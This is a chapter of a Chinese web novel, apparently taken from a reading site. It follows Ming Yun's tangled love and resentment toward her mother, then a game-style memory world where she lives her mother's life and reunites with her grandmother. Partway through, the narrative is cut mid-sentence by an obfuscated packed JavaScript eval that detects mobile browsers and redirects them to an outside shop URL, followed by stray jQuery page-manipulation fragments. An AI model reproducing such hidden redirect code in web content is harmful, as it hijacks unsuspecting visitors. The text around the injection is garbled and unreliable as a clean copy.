小时候，有个问题，明蕴想过很多很多次。


    “妈妈，你爱我吗？”


    “妈妈，你爱我吗？”


    “妈妈，你爱我吗？”


    她在心里重复过无数遍，直到长大的自己能够给出一个肯定的答案。


    妈妈爱她，所以从来不叫她屈服。


    妈妈爱她，所以在她迷路的时候拉住她，会记住她的喜好。


    妈妈爱她，所以站在她的前面挡住风雨，所以接受她的一切，为了和她一样而剪寸头。


    拿出“女孩样”和公务员要求她的明霞的的确确爱她。


    只是这爱太复杂，所以掺杂了一些明霞不曾意识到的东西。


    明霞知道昏因没有什么好处，但她不知道，这世界很坏。


    明霞也不知道，公务员对明蕴来说是一种负担，一种尝试后轻松幻灭的负担。


    明霞对于她来说，是天然的权威。


    所以她成长的每一步都在和母亲较劲。


    她爱妈妈，妈妈的手掌是暖的，妈妈的怀抱是宽阔的，妈妈的胳膊是有力的。


    妈妈把她从低洼处拽起来，妈妈在无言时也曾紧紧拥住她，妈妈也会拉住她不知如何是好的手，妈妈领着她往前走。


    她通过妈妈，至少认识了这个世界的一小部分。


    在从老师那里学到“爱”这个字的时候，明蕴也觉得自己明白了恨。


    对妈妈的恨意也总像野草，一有雨水，就在她的心里疯长。


    九岁的夏天，她们将过期的啤酒一瓶一瓶启开，倒进下水道，倒进坑里，倒进土里。那是明霞错误估计的结果，未曾荒芜的后院里，所有浓郁的绿色，都被淡黄色的啤酒浇灌。


    大概，没有一只蝴蝶肯为这样的绿色停留。


    十二岁的秋天，她们的门口铺满玉米粒，玉米粒的颜色有点像姥姥明丽的牙齿，再淡一点，就更像了。那是明霞最后一年种地，明蕴要一行一行地推开玉米粒，让阳光晒透它们，也晒透自己。


    往后，她们再没有时间用劳动留住和姥姥有关的玉米粒。


    十九岁的冬天，她们把各种各样的礼品从屋里搬出来，从早到晚，守着、守着、守着，她们要把那些东西变成钱。那是明霞生活的常态，明蕴要为来来往往的客人介绍，每一天，她也曾在心里偷偷祈求，不要下雨，不要下雪。


    那时，她们都暗自发誓未来要过得更好。


    二十三岁的春天，她们清点库存，那些灰尘似乎与明蕴一般大，她们找到了明蕴小时候用的美羊羊书包，在不引人注意的角落里，长满了蜘蛛网，还有老鼠。那是明霞匪夷所思的事情，她们一起清理掉了多余的存在。


    可是，为什么她们还是没有过得更好？


    她似乎把对自己的不满也怪罪到妈妈身上。


    因为她是被妈妈带到这个世界上的孩子，所以一切对世界的憎恨似乎都有了源头——


    妈妈。


    她恨妈妈忘了她和姥姥，她恨妈妈没有遗传给她出众的天赋，她恨妈妈不肯为了她学习做饭，她恨妈妈不把她的话放在心上，她恨妈妈总是不像别人的妈妈一样爱女儿。


    她不知道明霞恨不恨明丽，仿佛恨是在血缘间翻涌的气泡，一戳就破，一破就溅上了密密麻麻的血点。


    她总是能轻而易举地产生恨。


    妈妈，你会想你的妈妈吗？


    妈妈，你会恨自己的妈妈吗?


    妈妈，你眼中的世界是怎么样的？


    妈妈，你会怪这个世界吗？


    妈妈，你所想象的我又该是怎么样的？


    妈妈，你生下我，是我天生欠你一切，还是你天生欠我一切。


    为什么我们的命运永远纠缠在一起。


    在她逃避命运的时候，她已然体验过了那样的命运。


    她要逃离的，不是她的命运，而是明霞的命运，明霞带给她的命运。


    明蕴在无数个夜晚里，坐在明天超市门口，她看着南边的烟花亮了，北边的烟花暗了。


    她也曾羡慕那些紧握住母亲双手的同龄人，是羡慕吧。


    她们穿着颜色鲜亮的衣服，说着一口流利的普通话，可以享受所有节假日的快乐。


    她们只要出现在明蕴眼前。


    明蕴就明白，她们的母亲爱她们。


    明霞和她，似乎永远都穿着灰扑扑的衣服，掉进钱眼里一样，每一天都是生意，生意就是生活，生活就是生意。


    每一天都在周而复始，宛如无数次循环。


    逃，她要逃。


    妈妈，她应该逃向哪里？


    妈妈，把你留在那里，留在你的命运里，她们就两不相欠了吗？


    妈妈，抛弃你，她就能拥有全新的未来吗？


    明蕴不知道，因为命运在她二十五岁的时候，还和七岁那年一模一样。


    故事的起点就是它的终点。


    为什么她们如此普通且平庸，却又总是对彼此有所要求。


    她是在恨妈妈，又不单单是在恨妈妈。


    她恨的是一个具体的世界，一个偌大的结构，无数个空洞的传统，甚至是所有的一切。


    这恨如万钧重的时候也化作牢笼、藤蔓、尖刺，她们得用双手撑开牢笼，用双手撕烂藤蔓，用双手拔出尖刺。


    她自私，也无私，她不想被恨，于是杜绝了把一个女儿带到这世上的可能。


    是啊，妈妈这里不好，那里也不好。


    可是妈妈，你为什么有一双粗糙的手？


    每当明蕴走累了，每当她遇见的翻不过去高山，每当她的四肢被崇山峻岭驯服，她都想像一棵被砍倒的树那样倒下。


    她会紧紧抱住自己的膝盖，任由看不见的眼泪像瀑布那样从名为膝盖的山顶上倾泄而下。


    她想回到妈妈的身边，像她已经遗忘的小时候那样，蜷缩在妈妈的身侧。


    妈妈，我是如此脆弱，如此渴望你的抚摸。


    她不是真的需要明霞，也许，她需要的是一个无所不能的大母神，替她摆平一切。


    所有对母亲的决绝都是因为母亲用尖刀将她们越推越远，所有对母亲的留恋却源于琢磨不透的几分真心。


    她会那样想，是因为她曾经的的确确从明霞那里得到了力量。


    她不应该脆弱，可没有人生来强大。


    她在心里喊的每一声妈妈，都是在模仿儿时模模糊糊喊出的第一个音节。


    妈，妈妈。


    响亮的、低沉的，痛恨的、愧疚的，开心的、难过的，眷恋的、痛快的，失望的、期冀的……


    “妈妈”由各种各样的声音组成。


    明蕴叫过无数次妈妈，她不够了解明霞，这个没有什么能力又异常强大的人，占据了她迄今为止人生的全部。


    明霞。


    她哪儿来的勇气扔掉旧观念生下我的呢？她哪儿来的勇气出门闯荡呢？她哪儿来的勇气不在乎“妈妈”这个角色呢？


    妈妈，你为什么那么勇敢？


    明蕴成为了明霞。


    她睁开眼的时候，周围熙熙攘攘，虽然处在空地上，但各种吵闹的声音裹着风一起送到了人的耳朵里。


    吆喝声，哼歌声，嘲笑声，油滴到炭火上的滋滋声，煤气罐晃动的声音。


    这绝不是明蕴喜欢的地方。


    【您已进入“明霞”视角。】


    “明霞啊，你也知道老板不容易，你最近好几次工作失误，姐之前也帮你劝过老板，但这次，上个月李姐刚走，这次……”


    “这次该我了？”


    明蕴挑眉看着眼前穿着工作服的中年人，已经明白了这是怎么回事。


    【任务：找到记忆核心即可脱离副本。】


    【提示：您有两次机会。】


    胡邦一时不知道给怎么接话，明霞的性子惯是直白的，这样戳破面子上的话是她的风格。


    明蕴抬头看了一眼她们身后的店——安心大酒店。


    “工资呢？还有赔偿金，要是不给我，我可就天天在这吆喝了。”


    她说得毫不客气，一把接过胡邦递过来的钱，数了数，塞进自己的钱包里。


    她摸了摸自己的口袋，里面装着一个小巧的按键手机，还有钱包。


    “宿舍在哪儿？”


    根本想不到明霞会问出这种问题的胡邦愣了片刻，还是老老实实地给她了路。


    看着眼前还算干净的宿舍，明蕴耐住性子，快速地收拾了几套衣服，至于被褥，还有生活用品之类的。


    没必要带，她要回老家了。


    虽然她心里是这么想的，但这毕竟是明霞的经历。


    她还是快速地翻了一边写着明霞名字的床铺，没有发现什么比较特殊的东西。


    她转头对胡邦说，“姐，剩下的东西我不带了，你脸盆、暖壶，你有需要的就那走吧。”


    “不需要直接卖废品，钱也是你的。”


    她背双肩包，又拿着一个手提包。


    “我走了，姐。”


    明蕴说话称得上客气，胡邦也是扬起笑脸，好声好气地劝慰了她几句。


    什么你一定还能找到好工作啊。


    什么好人一定有好报啊。


    明蕴将那些话抛掷脑后，马不停蹄地去车站买好了回家的车票。


    直到坐在绿皮火车的硬座上，她才终于有了实感。


    她想姥姥了。


    不知道这个时候她几岁了。


    明霞被辞退，大概就是没有开始创业的那段时间。


    她应该五岁左右，还有两年，姥姥就离开了。


    明霞也是这样一次次在家和外面往返，她难道不会想自己的妈妈吗？不会想自己的女儿？


    明蕴抱着包趴在桌子上，她侧着头看向窗外的稻田、电线杆和天空。


    坐火车回老家要一天一夜。


    她只是沉默着，看着窗外的天色变暗又变亮，从空旷的土地变成了挤满人的火车站。


    永远都有人要逃离家乡。


    也永远都有人要回到家乡。


    不管哪种，她们都在试图改变这个顽固的世界。


    明蕴穿过拥堵的人流，终于得以呼吸到了新鲜的空气，她还要坐大巴去古陵，一个她未曾见过的古陵。


    人变少了一些。


    吵闹声也没那么嘈杂，但总是有人在聊天。


    不外乎就是谁谁死了，谁谁生了，谁谁家里发生了什么事。


    生生死死，死死生生。


    在她们眼里，女孩能养活自己根本算什么。


    三千块钱工资什么也不是。


    好像年轻适龄女孩的唯一价值，只有找一个好婆家。


    明明她们都面临着同样的处境，却总能轻而易举地蔑视女性。


    她们从来不说男孩找个好岳家，却心甘情愿把女儿送到别人家，自己累死累活，把财产留给男儿，也一定让自己的男儿娶个好媳妇。


    苦。


    那群没有受过教育的老年人，她们吃苦吃到了脑子里，刻在了骨子里。


    因为重男轻女，没有上过学，不认识字。因为年纪最大，挨打挨骂，干过最多的活，不仅见证过年幼妹妹的死亡，还为诸多妹妹弟弟，操劳了一辈子。


    她们为什么不明白。


    她们知道苦，却始终如一。


    她们为了生存可以跪在地上，可以无知无觉地生下很多个孩子，可以把自我牺牲摆在首位。


    这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175823|192923||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是所谓的“母性”吗？


    她们似乎有且仅有这样的世界，闭塞的空间里她们没生出过离开土地的心思，她们的茶余饭后只有这些值得一提的谈资。


    明蕴变得疏离。


    大巴车摇摇晃晃，先前她在火车上买了便宜的盒饭，这会儿胃里的东西东倒西歪，齐齐翻涌。


    她找出保温杯，灌了自己几口凉水。


    忍受着一路的颠簸，古陵镇终于到了。


    明蕴背上双肩包，拽紧手提包，她的脚又站在了这片熟悉的地方，她们的明天超市现在还是一个大坑。


    镇上只有两层楼。


    明蕴从十字路口一直往北走，市里有公交车直达古陵，不过只到十字路口。


    古陵发展的速度很慢，二十年都没有发生翻天覆地的变化。只不过是有一些地方盖起了楼，有些地方的楼高了一些。


    人们还是那样。


    二十年后，见到明蕴的寸头往往都会多打量几眼。


    古陵镇的姐姐姨姨会问怎么剪个这样的发型？


    如果总要有为什么，她们却往往不问习以为常的生活，而是为不太平常的东西和事情。


    为什么不结昏？


    为什么不生孩子？


    为什么找不到好工作？


    是的，小时候的明蕴见过明霞被盘问的样子。


    她们说，明霞这个姑娘和明丽一样，都是有主见的。说好听点是有自己的想法，说不好听点就是异类，就是傻。


    看看哪个姑娘跟明霞一样，非得要自己生养孩子的？


    当然还有更难听的话。


    但是明丽把她们轰走，再也不要她们上门。


    明丽捂住明蕴的耳朵，她说：“乖乖，她们就喜欢乱说话。你有妈妈和姥姥就够了，对不对？”


    明蕴不止一次地点头，她坚定地说，“对，我有妈妈和姥姥就够了。”


    她到家了。


    明蕴深深吸了一口气，鼻子微微发酸。


    因为姥姥的长相已经在她记忆里模糊了，她的姥姥——明丽。


    正打算领着小明蕴出门消食的明丽，一开门，就看见“明霞”呆呆地站在门外。


    “咋回来了？这是咋了？”


    小明蕴打量着“明霞”，确认这是自己的妈妈后，撇撇嘴，没理会明丽让她叫人的话。


    “叫妈。”


    明丽看着“明霞”很不对劲，她张罗着叫“明霞”进来。


    跟着明丽脚步走进门，扮演明霞的明蕴再也忍不住了，她放声大哭。


    “姥，我好想你啊。”


    明丽的身体一僵，她不可思议地问：“你叫我什么？”


    明丽给她收拾好床铺，让小明蕴自己玩一会儿玩具。


    她给“明霞”的保温杯里倒满热水，端了一碗热面条。


    “你这次怎么回来的这么突然？”


    明蕴胡乱地抹掉眼角的泪，“被辞退了。”


    “就这？至于哭得这么伤心？”


    明丽疑心她是遇见了什么难办的事，原来就是这个。


    “可你之前不是还打电话说，酒店在裁人，要是把你辞退了正好，你说到时候你回来一趟，计划出去做点生意。”


    家像停靠站。


    明丽没想到会这么突然，也没想到“明霞”像失了神智一样。


    “别的不说，我还有点退休金，我留点给自己和明蕴，剩下的都给你用吧。”


    刚说完，明丽就翻箱倒柜，找出了自己藏起来的退休金存折。


    “你都取出来，剩点给我和明蕴就行。”


    她看着塞到自己手上的存折，还有门口玩挖掘机玩具的小明蕴。


    她不知道自己应该难过，还是应该感动。


    记忆是真的，思念也是真的。


    眼看她的泪水又要流出来，明丽清咳几声，“你以前也不爱哭啊，今个是咋了，明蕴还在外面呢。”


    “嗯。”


    她从鼻腔里嗯声。


    夜晚。


    小明蕴睡在她们中间，明丽估摸着小明蕴睡着了。


    明丽又不放心地嘱咐道：“你明天一早就去取钱，别忘了啊。早上人少。”


    “妈。”


    明蕴有些不确定地对着明丽叫出这个称呼。


    她问：“要是我啥也没干成，你会怪我吗？”


    明丽猛地一翻身，“怎么又说这些没用的，给你的就是给你的，不给你还能给谁。小时候，你姨姥姥总说你机灵，怎么长大了又有拧巴劲儿了？”


    明丽不知道，有拧巴劲儿的不是明霞，是明蕴。


    想起明霞问自己的那个问题，也许明霞也有一点拧巴，那是害怕自己对她失望。


    姥姥不会怪妈妈，妈妈不会怪她。


    她不会问妈妈为什么生下她，妈妈也不会问姥姥为什么生下自己。


    “我一天比一天年纪大，啥也不求，也就这些东西。你能怎么折腾怎么折腾，欠债了我就不管了。”


    明丽在说假话。


    因为明蕴知道，后来姥姥有去干一些零零碎碎的活计，把所有的存款都留给了她们。


    不过，明霞没有欠债。


    明丽说：“快睡吧。”


    明蕴摸着枕头底下的存折，她的心渐渐也跟着夜晚变得安静。


    难以割舍，却无法逃避，她不能沉溺于这样的现实。


    她用很轻很轻的声音说了一句话。


    “我爱你，姥姥。”


    【是否认证记忆核心？】


    【是。】


    【检测中……】


    【错误。】


    【提示：您选择的存折并非记忆核心，核心为承载着情感结晶的物品。】